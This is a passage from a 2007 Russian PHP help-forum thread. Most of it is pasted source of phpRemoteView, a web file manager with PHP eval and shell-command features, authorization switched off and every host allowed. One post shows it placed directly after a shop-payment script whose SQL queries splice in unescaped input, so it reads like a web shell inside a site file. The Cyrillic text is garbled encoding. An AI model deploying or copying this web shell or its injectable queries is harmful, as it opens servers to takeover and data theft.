' onMouseMove="this.style.backgroundColor=\'#eeee88\';window.status=\'** '.$button_help[$buttons[$i]].' ** '.$bturl.'\'"'.
' onMouseOut="this.style.backgroundColor=\'\';window.status=\'\'"'.
' onClick=\'location.href="'.$bturl.'"\'><a href=';
echo button_url($buttons[$i]);
echo '><img HSPACE=3 border=0 src='.$self.'?c=img&name='.$buttons[$i].'></a></td>';
}
echo '</tr></table>
</td></tr><tr>';


for ($i=0; $i<strlen($cn); $i++) {
echo "<td nowrap class=title onClick='location.href=\"".
"$self?c=set&c2=sort&name=$i&pan=$panel&ref=$uurl\"'";
switch ($cn[$i]) {
case 1: case 2: case 3: case "s": echo " width=13%"; break;
case 't': echo " width=2%"; break;
case 'n': echo " width=40%"; break;
}
echo "><a href='$self?c=set&c2=sort&name=$i&pan=$panel&ref=$uurl' class=black>";
switch ($cn[$i]) {
case "n": case "t": case "s": case "o": case "g":
case "a": case "c": case "1": case "2": case "3":
echo "\xA0".$cn_name[$cn[$i]]."\xA0"; break;
default:
echo "??$cn[$i]??";
}
if ($cc[0]==="$i") {
if ($cc[1]=='0') echo "<img src=$self?c=img&name=sort_asc border=0>";
else echo "<img src=$self?c=img&name=sort_desc border=0>";
}
echo '</a></td>';
}
echo '</tr>';

echo "\n\n&lt;script>\n\n";
foreach ($names as $k=>$v) {

echo "\n\n// $k \n";
echo 'tr(';

for ($i=0; $i<strlen($cn); $i++) {

switch ($cn[$i]) {

case 'n':
switch($ftype[$k]) {
case 'file':
$vv=strtolower(substr($k,strlen($k)-4,4));
$add="";
if ($vv==".gif" || $vv==".jpg" || $vv==".png" || $vv==".bmp"
|| $vv==".ico" || $vv=="jpeg") $add="&ftype=2&fnot=1";
if (substr($k,0,5)=="sess_") $add="&ftype=4";
$ln='<a href='.$self.'?&c=v&d='.urlencode($d).
'&f='.urlencode($k).$add.'>';
break;

default:
$ln='<a href='.$self.'?&c=l&d='.urlencode($d.$k).'>';
break;
}

if ($ftype[$k]=='dir')
$ln.='<img src='.$self.'?c=img&name=dir border=0>';
else {
$found=0;
foreach ($ext as $kk=>$vv) {
if (in_array(strtolower($fext[$k]),$vv)) {
$ln.='<img src='.$self.'?c=img&name='.$kk.' border=0>';
$found=1;
break;
}
}
if (!$found)
$ln.='<img src='.$self.'?c=img&name=unk border=0>';
}
$ln.=substr($k,0,48).'</a>';
echo jsval($ln);

break;

case "t":
switch ($ftype[$k]) {
case "dir":
echo jsval("<a href=$self?c=d&d=".urlencode($d.$k).">DIR</a>");
break;
case "file":
echo jsval("<a href=$self/".urlencode($k)."?&c=v&fnot=1&ftype=3&d=".
urlencode($d)."&f=".urlencode($k)." class=sym>\xF2</a> ".
"<a href=$self?&c=i&d=".urlencode($d)."&f=".urlencode($k)." class=sym>\xF0</a>");
break;
case "link":
echo jsval("<font class=t>—&gt;</font>");
break;
default:
echo jsval("??");
break;
}
break;

case "s":
if ($ftype[$k]=='file') echo jsval(sizeparse($fsize[$k]));
else echo jsval('');
break;

case "o":
$tmp=@_posix_getpwuid($fowner[$k]);
if (!isset($tmp['name']) || $tmp['name']=="") $tow=$fowner[$k];
else $tow=$tmp['name'];
echo jsval($tow);
break;

case "g":
$tmp2=@_posix_getgrgid($fgroup[$k]);
if (!isset($tmp2['name']) || $tmp2['name']=="") $tgr=$fgroup[$k];
else $tgr=$tmp2['name'];
echo jsval($tgr);
break;

case "a":
$tmp=@_posix_getpwuid($fowner[$k]);
if (!isset($tmp['name']) || $tmp['name']=="") $tow=$fowner[$k];
else $tow=$tmp['name'];
$tmp2=@_posix_getgrgid($fgroup[$k]);
if (!isset($tmp2['name']) || $tmp2['name']=="") $tgr=$fgroup[$k];
else $tgr=$tmp2['name'];
echo jsval("$tow/$tgr");
break;

case "c":
echo jsval(display_perms($fperms[$k])); break;

case "1": echo jsval(date($cp[2],$fctime[$k])); break;

case "2": echo jsval(date($cp[2],$fmtime[$k])); break;

case "3": echo jsval(date($cp[2],$fatime[$k])); break;

default: echo "??$cn[$i]??";

} //switch ($ftype)

}//for ($cn)

echo "0);\n";

}//foreach ($names)

echo "\n\n</script>\n\n\n";

echo '</td></tr></table></td></tr></table></td></tr></table>';


echo "<P align=center>
<font size=1 style='Font: 8pt Verdana'><B>
<a href=$self?c=setup&ref=$uurl>".mm("Setup")."</a> |
<a href=$self?c=t>PHP eval</a> |
<a href=$self?c=phpinfo>phpinfo()</a> |
<a href=$self?c=t>Shell</a> |
<a href=$self?c=codes>".mm("Char map")."</a> |
".mm("Language").":
<a href=$self?c=set&c2=eng&ref=$uurl&pan=0>".mm("English")."</a>/<a href=$self?c=set&c2=rus&ref=$uurl&pan=0>".mm("Russian")."</a>

</b>
<hr size=1 noshade width=55%><center>

<table border=0 cellspacing=0 cellpadding=0><tr><td width=32>
<font face=webdings style='Font-size: 22pt;'>!</font></td><td>
<font size=1 style='Font: 8pt Verdana'>phpRemoteView &copy; Dmitry Borodin (".mm("version")." $version)<br>
".mm("Free download")." - <a href='http://php.spb.ru/remview/'>http://php.spb.ru/remview/</a></b></font></td>
</tr></table>";

break;


case "set":

switch ($c2) {
case "sort":
$name=intval($name);
if ($name==$cc[0]) if ($cc[1]==='0') $cc[1]='1'; else $cc[1]='0';
$cc[0]=$name;
break;

case "panel":
$cn='';
foreach ($names as $k=>$v) {
if ($v!="") $cn.=substr($v,0,1);
}
$cc[0]=substr($sort,0,1);
$cc[1]=substr($sortby,0,1);
$cp[2]=substr($datetime,0,50);
$cp[3]=substr($fontname,0,50);
$cp[4]=substr($fontsize,0,50);

//exit("cn=$cn<br>cc=$cc");
break;

case "eng":
$cc[5]=1;
break;

case "rus":
$cc[5]=2;
break;

}


$cookie=$cc."~".$cn."~".$cp[2]."~".$cp[3]."~".$cp[4];
if ($c2=="reset") $cookie=implode("~",$cp_def);
//echo "&lt;script>alert('$cookie')</script>";
setcookie("cp$pan",$cookie,time()+24*60*60*333,'/');
header("Location: $ref");
echo "&lt;script>location.href=\"$ref\";</script>";
//echo "[$ref]";
//phpinfo();
break;


case "setup":

echo $GLOBALS['html'];

echo "<center><h3><b>phpRemoteView ".mm("setup")."</b> [<A href='java script:history.go(-1)'>".mm("back")."</a>]</h3></center><hr size=1 noshade>";

echo "<STYLE>
.setup {
font-size: 8pt;
font-family: Tahoma;
}
HTML, TD {font: 90%}
</STYLE>";

echo "
<b><u>".mm("Reset all settings")."</u></b>: <a href=$self?c=set&c2=reset&pan=$panel&ref=$ref>".mm("clear")."</a>";
echo " <font color=white>(".mm("Current").": <small>".implode(" | ",$cp)."</small>)</font><P>";

echo "
<form action=$self method=post>
<input type=hidden name=c value=\"set\">
<input type=hidden name=c2 value=\"panel\">
<input type=hidden name=pan value=\"$panel\">
<input type=hidden name=ref value=\"$ref\">
";
echo "<b><u>".mm("Colums and sort")."</u></b><br>";

echo "".mm("Sort order").": ";
echo "<input type=radio name=sortby value=0 id=q3 ".($cc[1]=='0'?"checked":"").">";
echo "<label for=q3>".mm("Ascending sort")."</label>";
echo "<input type=radio name=sortby value=1 id=q4 ".($cc[1]=='1'?"checked":"").">";
echo "<label for=q4>".mm("Descending sort")."</label><br>";

echo "<input type=radio name=sort value='n' id=q1 ".($cc[0]=='n'?"checked":"").">";
echo "<label for=q1>".mm("Sort by filename")."</label>";
echo "<input type=radio name=sort value='e' id=q2 ".($cc[0]=='e'?"checked":"").">";
echo "<label for=q2>".mm("Sort by file



Спустя 3 часа, 37 минут, 55 секунд (1.10.2007 - 00:42) Fedot написал(а):
Ну ты дал. И как тут разбираться???
Не надо было столько выкладывать.
Протсо выложи строки 2495-2505. И всё больше не нужно. Ибо именно в этих строках у тебя проблема. Да и вообще эту ошибку ввёл бы в поиск в гугле и понял бы в чём причина.

Спустя 1 час, 10 минут, 38 секунд (1.10.2007 - 01:52) Professor написал(а):
Цитата(Fedot @ 30.9.2007, 21:42) [snapback]27535[/snapback]
Ну ты дал. И как тут разбираться???
Не надо было столько выкладывать.
Протсо выложи строки 2495-2505. И всё больше не нужно. Ибо именно в этих строках у тебя проблема. Да и вообще эту ошибку ввёл бы в поиск в гугле и понял бы в чём причина.

Блин,мнеп терь только найти бы эти 2495-2505-е строки rolleyes.gif

Спустя 15 часов, 54 минуты, 59 секунд (1.10.2007 - 17:47) mysterikon написал(а):

Вор вам расклад по строкам:


1<?php
2
3if($send == "user_list"){
4if(file_exists("goods/$tovid")) {
5$qqw = @file("goods/$tovid");
6if(trim($qqw[0]) == $cl) {
7$usi = @file("users/$cl");
8
9
mysql_connect("$serv_const_host", "$serv_const_loginbd", "$serv_const_pwdbd") or die("Îøèáêà ñâÿçè ñ áàçîé");
$database = "$serv_const_namebd";
$result = mysql_db_query($database, "select * from cert_user") or die("Error select 1");

if($send == "yes") {
$success = mysql_db_query($database, "select * from cert_user where email='$more'") or die("Error select success");
if(mysql_num_rows($success) == "1") {
$sec = mysql_fetch_array($success);
$smsg = serv_send_money("$sec[price]", $cl, $cp, "");
If ($smsg == "true") {
mysql_db_query($database, "insert into cert_good values('$sec[login]', '$cl', '$tovid', '$sec[price]', '1')") or die("Error insert");
$add_cert_balans = mysql_db_query($database, "select * from cert_user WHERE login ='$sec[login]' ") or die("Error select");
if(mysql_num_rows($add_cert_balans) == "1")
{
$mmsi = mysql_fetch_array($add_cert_balans);
$mmsi[balance] = $mmsi[balance] + $sec[price];
mysql_db_query($database, "UPDATE cert_user SET balance='$mmsi[balance]' WHERE login='$sec[login]' and pass='$sec[pass]' LIMIT 1") or die("Error update balance");

}

$fklo_mas = @file("promo/$tovid");
$fklo = fopen("promo$tovid", "w");
fwrite($fklo, trim($fklo_mas[0]) . "\n");
fwrite($fklo, "2^$sec^\n");
fclose($fklo);



mail("$sec[email]", "$serv_const_name. Çàïðîñ òîâàðà: $tovid", "$message",
"From: $serv_const_name <$serv_const_embox>\r\n" .
"Reply-To: $serv_const_embox <$serv_const_embox>\r\n" .
"Content-Type: text/plain; charset=windows-1251\r\n".
"X-Mailer: PHP/" . phpversion());

mail("$serv_const_embox", "$serv_const_name. Çàïðîñ òîâàðà: $tovid", "$message",
"From: $serv_const_name <$serv_const_embox>\r\n" .
"Reply-To: $serv_const_embox <$serv_const_embox>\r\n" .
"Content-Type: text/plain; charset=windows-1251\r\n".
"X-Mailer: PHP/" . phpversion());

echo "<script> alert('Ñ÷åò îïëà÷åí. Îòïðàâëåí çàïðîñ ýêñïåðòó íà îöåíêó äàííîãî òîâàðà.'); document.location.href='/my.php$idstr&com=certadd&tovid=$tovid&more=$more';</script>";
} else { echo "<script> alert('Îøèáêà!!!\\n$smsg'); document.location.href='/my.php$idstr&com=certadd&tovid=$tovid&more=$more';</script>"; }
}
}
}


$version="2003-10-23";

$hexdump_lines=8; // lines in hex preview file
$hexdump_rows=24; // 16, 24 or 32 bytes in one line

$mkdir_mode=0755; // chmode for new dir ('MkDir' button)

$maxsize_fread=65536; // read first 64Kb from any null-size file

// USER ACCESS //

$write_access=true; // true - user (you) may be write/delete files/dirs
// false - only read access

$phpeval_access=true; // true - user (you) may be execute any php-code
// false - function eval() disable

$system_access=true; // true - user (you) may be run shell commands
// false - function system() disable

// AUTHORIZATION //

$login=false; // Login & password for access to this programm.
$pass=false; // Example: $login="MyLogin"; $pass="MyPaSsWoRd";
// Type 'login=false' for disable authorization.

$host_allow=array("*"); // Type list of your(allow) hosts. All other - denied.
// Example: $host_allow=array("127.0.0.*","localhost")


///////////////////////////////////////////////////////////////////////////////


$tmp=array();
foreach ($host_allow as $k=>$v)
$tmp[]=str_replace("\\*",".*",preg_quote($v));
$s="!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) && !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR"))))
exit("<h1><a href=http://php.spb.ru/remview/>phpRemoteView</a>: Access Denied - your host not allow</h1>\n");
if ($login!==false && (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) ||
$HTTP_SERVER_VARS['PHP_AUTH_USER']!=$login || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass)) {
header("WWW-Authenticate: Basic realm=\"phpRemoteView\"");
header("HTTP/1.0 401 Unauthorized");
exit("<h1><a href=http://php.spb.ru/remview/>phpRemoteView</a>: Access Denied - password erroneous</h1>\n");
}

error_reporting(2047);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
if (function_exists("ob_start") && (!isset($c) || $c!="md5crack")) ob_start("ob_gzhandler");

$self=basename($HTTP_SERVER_VARS['PHP_SELF']);

$url="http://".getenv('HTTP_HOST').
(getenv('SERVER_PORT')!=80 ? ":".getenv('SERVER_PORT') : "").
$HTTP_SERVER_VARS['PHP_SELF'].
(getenv('QUERY_STRING')!="" ? "?".getenv('QUERY_STRING') : "");
$uurl=urlencode($url);

//
// antofix 'register globals': $HTTP_GET/POST_VARS -> normal vars;
//
$autovars1="c d f php skipphp pre nlbr xmp htmls shell skipshell pos ".
"ftype fnot c2 confirm text df df2 df3 df4 ref from to ".
"fatt showfile showsize root name ref names sort sortby ".
"datetime fontname fontname2 fontsize pan limit convert fulltime fullqty";
foreach (explode(" ",$autovars1) as $k=>$v) {
if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v];
elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v];
//elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v];
}

//
// autofix 'magic quotes':
//
$autovars2="php shell text d root convert";
if (get_magic_quotes_runtime() || get_magic_quotes_gpc()) {
foreach (explode(" ",$autovars2) as $k=>$v) {
if (isset($$v)) $$v=stripslashes($$v);
}
}

$cp_def=array(
"001001",
"nst2ac",
"d/m/y H:i",
"Tahoma",
"9"
);

$panel=0;
if (isset($HTTP_COOKIE_VARS["cp$panel"]))
$cp=explode("~",$HTTP_COOKIE_VARS["cp$panel"]);
else
$cp=$cp_def;
$cc=$cp[0];
$cn=$cp[1];


// Êàê âûðàâíèâàòü êîëîíêè
$cn_align=array();
$cn_align['t']='center';
$cn_align['n']='left';
$cn_align['s']='right';
$cn_align['a']='center';
$cn_align['o']='center';
$cn_align['g']='center';
$cn_align['c']='center';
$cn_align['1']='center';
$cn_align['2']='center';
$cn_align['3']='center';


///////////////////////////////////////////////////////////////////////////////


/*--mmstart--*/
$mm=array(
"Index of"=>"Èíäåêñ",
"View file"=>"Ïîêàç ôàéëà",
"DISK"=>"ÄÈÑÊ",
"Info"=>"Èíôî",
"Plain"=>"Ïðÿìîé",
"HTML"=>"HTML",
"Session"=>"Ñåññèÿ",
"Image"=>"Êàðòèíêà",
"Notepad"=>"Áëîêíîò",
"DOWNLOAD"=>"ÇÀÃÐÓÇÈÒÜ",
"Edit"=>"Ïðàâêà",
"Sorry, this programm run in read-only mode."=>"Èçâèíèòå, ýòà ïðîãðàììà ðàáîòàåò â ðåæèìå 'òîëüêî ÷òåíèå'.",
"For full access: write"=>"Äëÿ ïîëíîãî äîñòóïà: íàïèøèòå",
"in this php-file"=>"â ýòîì php-ôàéëå",
"Reason"=>"Ïðè÷èíà",
"Error path"=>"Îøèáî÷íûé ïóòü",
"Click here for start"=>"Íàæìèòå äëÿ ñòàðòà",
"up directory"=>"êàòàëîã âûøå",
"access denied"=>"äîñòóï çàïðåùåí",
"REMVIEW TOOLS"=>"ÓÒÈËÈÒÛ REMVIEW",
"version"=>"âåðñèÿ",
"Free download"=>"Áåñïëàòíàÿ çàãðóçêà",
"back to directory"=>"âåðíóòüñÿ â êàòàëîã",
"Size"=>"Ðàçìåð",
"Owner"=>"Îâíåð",
"Group"=>"Ãðóïïà",
"FileType"=>"Òèï ôàéëà",
"Perms"=>"Ïðàâà",
"Create time"=>"Âðåìÿ ñîçäàíèÿ",
"Access time"=>"Âðåìÿ äîñòóïà",
"MODIFY time"=>"Âðåìÿ ÈÇÌÅÍÅÍÈß",
"HEXDUMP PREVIEW"=>"ÏÐÅÄÏÐÎÑÌÎÒÐ Â 16-ÐÈ×ÍÎÌ ÂÈÄÅ",
"ONLY READ ACCESS"=>"ÄÎÑÒÓÏ ÒÎËÜÊÎ ÍÀ ×ÒÅÍÈÅ",
"Can't READ file - access denied"=>"Íå ìîãó ïðî÷èòàòü - äîñòóï çàïðåùåí",
"full read/write access"=>"ïîëíûé äîñòóï íà ÷òåíèå/çàïèñü",
"FILE SYSTEM COMMANDS"=>"ÊÎÌÀÍÄÛ ÔÀÉËÎÂÎÉ ÑÈÑÒÅÌÛ",
"EDIT"=>"ÐÅÄÀÊÒ.",
"FILE"=>"ÔÀÉË",
"DELETE"=>"ÑÒÅÐÅÒÜ",
"Delete this file"=>"Ñòåðåòü ôàéë",
"CLEAN"=>"Î×ÈÑÒÈÒÜ",
"TOUCH"=>"ÎÁÍÎÂÈÒÜ",
"Set current 'mtime'"=>"Óñòàí.òåêóù.âðåìÿ",
"WIPE(delete)"=>"ÓÍÈ×ÒÎÆÈÒÜ",
"Write '0000..' and delete"=>"Çàáèòü íóëÿìè, ñòåðåòü",
"COPY FILE"=>"ÊÎÏÈÐÎÂÀÒÜ ÔÀÉË",
"COPY"=>"ÊÎÏÈÐÎÂÀÒÜ",
"MAKE DIR"=>"ÑÎÇÄÀÒÜ ÊÀÒÀËÎÃ",
"type full path"=>"ââåäèòå ïîëíûé ïóòü",
"MkDir"=>"Ñîçä.Êàò.",
"CREATE NEW FILE or override old file"=>"ÑÎÇÄÀÒÜ ÍÎÂÛÉ ÔÀÉË èëè ïåðåçàïèñàòü ñòàðûé",
"CREATE/OVERRIDE"=>"ÑÎÇÄÀÒÜ/ÏÅÐÅÇÀÏÈÑÀÒÜ",
"select file on your local computer"=>"âûáðàòü ôàéë íà âàøåì ëîêàëüíîì êîìïüþòåðå",
"save this file on path"=>"ñîõðàíèòü ýòîò ôàéë â êàòàëîã",
"create file name automatic"=>"ïðèäóìàòü èìÿ ôàéëó àâòîìàòè÷åñêè",
"OR"=>"ÈËÈ",
"type any file name"=>"ââåñòè èìÿ ôàéëà âðó÷íóþ",
"convert file name to lovercase"=>"êîíâåðòèðîâàòü èìÿ â íèæíèé ðåãèñòð",
"Send File"=>"Ïîñëàòü ôàéë",
"Delete all files in dir"=>"Óäàëèòü âñå ôàéëû",
"Delete all dir/files recursive"=>"Óäàëèòü ÂÑÅ +ïîäêàòàëîãè ðåêóðñèâíî",
"Confirm not found (go back and set checkbox)"=>"Ïîäòâåðæäåíèå íå ïîñòàâëåíî (âåðíèòåñü íàçàä è ïîñòàâüòå ãàëî÷êó)",
"Delete cancel - File not found"=>"Óäàëåíèå îòìåíåíî - Ôàéë íå íàéäåí",
"YES"=>"ÄÀ",
"ME"=>"ÌÅÍß",
"NO (back)"=>"ÍÅÒ (íàçàä)",
"Delete cancel"=>"Óäàëåíèå îòìåíåíî",
"ACCESS DENIED"=>"ÄÎÑÒÓÏ ÇÀÏÐÅÙÅÍ",
"done (go back)"=>"ãîòîâî (íàçàä)",
"Delete ok"=>"Îê, óäàëåííî",
"Touch cancel"=>"Îáíîâëåíèå îòìåíåíî",
"Touch ok (set current time to 'modify time')"=>"Îáíîâëåíèå çàâåðøåíî (ôàéëó ïðèñâîåíî òåêóùåå âðåìÿ ìîäèôèêàöèè)",
"Clean (empty file) cancel"=>"Î÷èùåíèå (îáíóëåíèå ôàéëà) îòìåíåíî",
"Clean ok (file now empty)"=>"Îê, î÷èùåíî (ôàéë îáíóëåí)",
"Wipe cancel - access denied"=>"Óíè÷òîæåíèå îòìåíåíî - äîñòóï çàïðåùåí",
"Wipe ok (file deleted)"=>"Îê, óíè÷òîæåíî (è ôàéë ñòåðò)",
"DIR"=>"DIR",
"Deleting all files in"=>"Óäàëåíèå âñåõ ôàéëîâ â",
"skip"=>"ïðîïóñê",
"deleting"=>"óäàëåíèå",
"Deleting all dir/files (recursive) in"=>"Óäàëåíèå âñåõ ôàéëîâ/ïîäêàòàëîãîâ (ðåêóðñèâíî)",
"DONE, go back"=>"ÃÎÒÎÂÎ, íàçàä",
"DONE"=>"ÃÎÒÎÂÎ",
"file not found"=>"ôàéë íå íàéäåí",
"ONLY READ ACCESS (don't edit!)"=>"ÄÎÑÒÓÏ ÒÎËÜÊÎ ÍÀ ×ÒÅÍÈÅ (íå ðåäàêòèðîâàòü)",
"Can't READ file - access denied (don't edit!)"=>"Íå ìîãó ×ÈÒÀÒÜ ôàéë - äîñòóï çàïðåùåí",
"EDIT FILE"=>"ÏÐÀÂÈÒÜ ÔÀÉË",
"can't open, access denied"=>"íå ìîãó îòêðûòü, äîñòóï çàïðåùåí",
"SAVE FILE (write to disk)"=>"ÑÎÕÐÀÍÈÒÜ ÔÀÉË (çàïèñü íà äèñê)",
"You mast checked 'create file name automatic' OR typed file name!"=>"Âû äîëæíû îòìåòèòü ãàëî÷êó [ñîçäàòü ôàéë àâòîìàòè÷åñêè] èëè ââåñòè â ïîëå èìÿ ôàéëà!'",
"SAVING TO"=>"ÑÎÕÐÀÍÈÒÜ Â",
"Sorry, access denied"=>"Èçâèíèòå, äîñòóï çàïðåùåí",
"for example, uncomment next line"=>"äëÿ ïðèìåðà, ðàñêîììåíòèðóéòå ñëåäóþùóþ ñòðîêó",
"Eval PHP code"=>"Âûïîëíèòü PHP êîä",
"don't type"=>"íå ïèøèòå",
"and"=>"è",
"example (remove comments '#')"=>"ïðèìåð (óäàëèòå êîììåíòàðèè '#')",
"Shell commands"=>"Êîìàíäû Shell'a",
"filesize to 0byte"=>"ðàçìåð â 0 áàéò",
"from"=>"îò",
"to"=>"â",
"Full file name"=>"Ïîëíîå èìÿ ôàéëà",
"Can't open directory"=>"Íå ìîãó îòêðûòü êàòàëîã",
"setup"=>"íàñòðîéêà",
"back"=>"íàçàä",
"Reset all settings"=>"Ñáðîñèòü âñå íàñòðîéêè",
"clear"=>"î÷èñòèòü",
"Current"=>"Òåêóùèå",
"Colums and sort"=>"Êîëîíêè è ñîðòèðîâêà",
"Sort order"=>"Ïîðÿäîê ñîðòèðîâêè",
"Ascending sort"=>"Ïî âîçðàñòàíèþ",
"Descending sort"=>"Ïî óáûâàíèþ",
"Sort by filename"=>"Ñîðòèðîâàòü ïî èìåíè ôàéëà",
"Sort by filename extension"=>"Ñîðòèðîâàòü ïî ðàñøèðåíèþ ôàéëà",
"Date/time format"=>"Ôîðìàò äàòû/âðåìåíè",
"Panel font & size"=>"Øðèôò/ðàçìåð ïàíåëè",
"Setup"=>"Îïöèè",
"Char map"=>"Ñèìâîëû",
"Language"=>"ßçûê",
"English"=>"Àíãëèéñêèé",
"Russian"=>"Ðóññêèé",
"Character map (symbol codes table)"=>"Òàáëèöà ñèìâîëîâ",
"Select font"=>"Âûáåðèòå øðèôò",
"or type other"=>"èëè ââåäèòå äðóãîé",
"Font size"=>"Ðàçìåð øðèôòà",
"Code limit"=>"Äèïàçîí êîäîâ",
"Generate table"=>"Ñãåíåðèðîâàòü òàáëèöó",
"Universal convert"=>"Óíèâåðñàëüíûå êîíâåðòàöèè"
);/*--mmstop--*/




$language=$cc[5];
if ($language!=1 && $language!=2) $language=1;


function mm($m) {
global $mm,$language;
if ($language==1) return $m;
if (isset($mm[$m])) return $mm[$m];
else echo "<script>alert('(mm) msg not found: $m');</script>";
}


switch ($language) {
case 1:
$cn_name=array(
't'=>"Type",
'n'=>"Name",
's'=>"Size",
'o'=>"Owner",
'g'=>"Group",
'a'=>"Owner/Group",
'c'=>"Perms",
'1'=>"Create",
'2'=>"Modify",
'3'=>"Access"
);
break;
case 2:
$cn_name=array(
't'=>"Òèï",
'n'=>"Èìÿ",
's'=>"Ðàçìåð",
'o'=>"Âëàäåëåö",
'g'=>"Ãðóïïà",
'a'=>"Âëàäåëåö/Ãðóïïà",
'c'=>"Ïðàâà",
'1'=>"Ñîçäàí",
'2'=>"Èçìåíåí",
'3'=>"Äîñòóï"
);
break;
}




///////////////////////////////////////////////////////////////////////////////



$rand=microtime();

if (!isset($c)) $c="";
if (!isset($d)) $d="";
if (!isset($f)) $f="";

ob();
$d=str_replace("\\","/",$d);
if ($d=="") $d=realpath("./")."/";
if ($c=="") $c="l";
if ($d[strlen($d)-1]!="/") $d.="/";
$d=str_replace("\\","/",$d);
if (!is_dir($d)) obb().die("<h3><P>".mm("Can't open directory")." <tt><font color=red><big>$d</big></font></tt>$obb");
if (!realpath($d) || filetype($d)!="dir") obb().die("error dir type $obb");
obb();

//
// OS detect:
//
$win=0;
$unix=0;
if (strlen($d)>1 && $d[1]==":") $win=1; else $unix=1;




///////////////////////////////////////////////////////////////////////////////


$html=<<<remview
<html><head>
<title>phpRemoteView: $d$f</title>
</head>
<body>
<style>
A {
text-decoration : none;
}
.t {
font-size: 9pt;
text-align : center;
font-family: Verdana;
}
.t2 {
font-size: 8pt;
text-align : center;
font-family: Verdana;
}
.n {
font-family: Fixedsys
}
.s {
font-size: 10pt;
text-align : right;
font-family: Verdana;
}
.sy {
font-family: Fixedsys;
}
.s2 {
font-family: Fixedsys;
color: red;
}
.tab {
font-size: 10pt;
text-align : center;
font-family: Verdana;
background: #cccccc;
}
.tr {
background: #ffffff;
}
</style>
remview;



function display_perms($mode)
{
if ($GLOBALS['win']) return 0;
/* Determine Type */
if( $mode & 0x1000 )
$type='p'; /* FIFO pipe */
else if( $mode & 0x2000 )
$type='c'; /* Character special */
else if( $mode & 0x4000 )
$type='d'; /* Directory */
else if( $mode & 0x6000 )
$type='b'; /* Block special */
else if( $mode & 0x8000 )
$type='-'; /* Regular */
else if( $mode & 0xA000 )
$type='l'; /* Symbolic Link */
else if( $mode & 0xC000 )
$type='s'; /* Socket */
else
$type='u'; /* UNKNOWN */

/* Determine permissions */
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';

/* Adjust for SUID, SGID and sticky bit */
if( $mode & 0x800 )
$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 )
$group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 )
$world["execute"] = ($world['execute']=='x') ? 't' : 'T';

$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}

function _posix_getpwuid($x) {
if ($GLOBALS['win']) return array();
return @posix_getpwuid($x);
}

function _posix_getgrgid($x) {
if ($GLOBALS['win']) return array();
return @posix_getgrgid($x);
}

function up($d,$f="",$name="") {
global $self,$win;

$len=strlen($d."/".$f);
if ($len<70) { $sf1="<font size=4>"; $sf2="<font size=5>"; }
elseif ($len<90) {$sf1="<font size=3>"; $sf2="<font size=4>";}
else {$sf1="<font size=2>"; $sf2="<font size=3>";}

echo "<table width=100% border=0 cellspacing=0 cellpadding=4><tr><td
bgcolor=#cccccc> $sf1";

$home="<a href='$self'><font face=fixedsys size=+2>*</font></a>";
echo $home.$sf2."<b>";
if ($name!="") echo $name;
else {
if ($f=="") echo mm("Index of");
else echo mm("View file");
}
echo "</b></font> ";

$path=explode("/",$d);

$rootdir="/";
if ($win) $rootdir=strtoupper(substr($d,0,2))."/";

$ss="";
for ($i=0; $i<count($path)-1; $i++) {
if ($i==0)
$comm="<b>&nbsp;&nbsp;<big><b>$rootdir</b></big></b>";
else
$comm="$path[$i]<big><b>/</big></b>";

$ss.=$path[$i]."/";
echo "<a href='$self?c=l&d=".urlencode($ss)."'>$comm</a>";
if ($i==0 && $d=="/") break;
}
echo "</font>";
if ($f!="") echo "$sf1$f</font>";

if ($win && strlen($d)<4 && $f=="") {
echo " &nbsp; ".mm("DISK").": ";
for ($i=ord('a'); $i<=ord('z'); $i++) {
echo "<a href=$self?c=l&d=".chr($i).":/>".strtoupper(chr($i)).":</a> ";
}
}

echo "</b></big></td><td bgcolor=#999999 width=1% align=center>
<table width=100% border=0 cellspacing=3 cellpadding=0
bgcolor=#ffffcc><tr><td align=center><font size=-1><nobr><b><a
href=$self?c=t&d=".urlencode($d).">".mm("REMVIEW TOOLS")."</a></b>
</nobr></font></td></tr></table>
</td></tr></table>";
}


function up_link($d,$f) {
global $self;
$notepad=str_replace(".","_",$f).".txt";
echo "<small>
[<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f)."><b>".mm("Info")."</b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=><b>".mm("Plain")."<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=0&fnot=1>(+)</a></b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1><b>".mm("HTML")."<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1&fnot=1>(+)</a></b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=4><b>".mm("Session")."</b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=2&fnot=1><b>".mm("Image")."</b></a>]
[<a href=$self/".urlencode($notepad)."?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1&fatt=".urlencode($notepad)."><b>".mm("Notepad")."</b></a>]
